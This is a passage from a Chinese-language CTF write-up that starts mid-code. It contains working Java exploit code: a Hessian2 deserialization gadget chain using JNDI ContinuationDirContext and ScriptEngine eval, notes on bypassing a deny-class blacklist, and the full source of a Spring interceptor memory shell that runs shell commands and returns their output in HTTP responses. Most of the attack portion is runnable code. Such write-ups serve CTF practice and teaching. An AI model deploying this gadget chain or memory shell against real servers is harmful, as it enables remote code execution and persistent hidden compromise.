        resourceRef.add(new StringRefAddr("pupi1", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\""+ x +"\")"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);

        Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
        Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
        ccCons.setAccessible(true);
        CannotProceedException cpe = new CannotProceedException();

        cpe.setResolvedObj(resourceRef);
        DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());


//       jdk.nashorn.internal.objects.NativeString str = new jdk.nashorn.internal.objects.NativeString();

        JSONObject jsonObject = new JSONObject();
        jsonObject.put("Pupi1",ctx);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output out = new Hessian2Output(baos);
        baos.write(67);
        out.getSerializerFactory().setAllowNonSerializable(true);
        out.writeObject(jsonObject);
        out.flushBuffer();

        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        Hessian2Input input = new Hessian2Input(bais);
        //input.readObject();
        String ret = Base64.getEncoder().encodeToString(baos.toByteArray());
        System.out.println(ret);

    }
    public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(s, "table", tbl);
        return s;
    }
    public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }
    public static String serial(Object o) throws IOException, NoSuchFieldException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        //Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
        //writeReplaceMethod.setAccessible(true);
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }

    public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        objCons.setAccessible(true);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        sc.setAccessible(true);
        return (T) sc.newInstance(consArgs);
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

这里解释一下为什么要清空序列

如果不清空序列 denyClasses可能会存在之前的黑名单,所以需要清空一下,然后再传马

image-20231207225752957

这里拦截器我觉得拦截了,就会直接返回而不会进入真正的路由,不然咋叫拦截嘞

image-20231207225841425

这里伪造了一个json请求

上面的code是二个json数据,第一个code的base64数据是 一个 badattribute–>fastjson—>templates的马

下面的base64数据是一个随机的无所谓,仅仅是为了清空数组序列

image-20231207230225459

然后把code返回的message进行base64解码

{"code":"200","message":"client 678ef871f5cc is online"}

第一次的base64解码时一个为了清空序列的没啥用,到了第二次访问/client/status,这时候就会msg为base64的templates马,

然后在这里直接反序列化就行了,在server的服务器所以会命令执行server服务器端的。

image-20231207231539844

Templates的后段内存马

直接读flag说牛!!!

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.List;
import java.util.Scanner;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class    Memshell2 extends AbstractTranslet implements HandlerInterceptor {

    public static int nums = 1;
    static {
        System.out.println("staart");
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        Field field = null;
        try {
            field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        }
        field.setAccessible(true);
        List<HandlerInterceptor> adaptInterceptors = null;
        try {
            adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping);
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }
        Memshell2 evilInterceptor = new Memshell2();
        adaptInterceptors.add(evilInterceptor);
        System.out.println("ok");
    }
    public static String replaceBlank(String str) {

        String dest = "";

        if (str != null) {

            Pattern p = Pattern.compile("\\s*|\t|\r|\n");

            Matcher m = p.matcher(str);

            dest = m.replaceAll("");

        }

        return dest;

    }

    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {

        String code;

//       if(nums == 1){
//           Runtime.getRuntime().exec("grep -rn --exclude-dir={proc,sys} flag{* / > /tmp/1.txt");
//       }
        InputStream in = Runtime.getRuntime().exec("cat /flag").getInputStream();
        Scanner s = new Scanner(in).useDelimiter("\\A");
        String output = s.hasNext() ? s.next() : "";


        System.out.println(output);


        code = "{\"code\":\"200\",\"message\":\""+ Base64.getEncoder().encodeToString(output.getBytes())+"\"}";

        if (request.getRequestURI().equals("/status")) {
            String result = new Scanner(code).useDelimiter("\\A").next();

            response.addHeader("Content-Type","application/json;charset=UTF-8");
            response.getWriter().write(result);
            response.getWriter().flush();
            response.getWriter().close();
            nums++;
            return false;
        }

        return true;
    }

    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
        HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
    }

    @Override
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
        HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

Creative Commons License
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。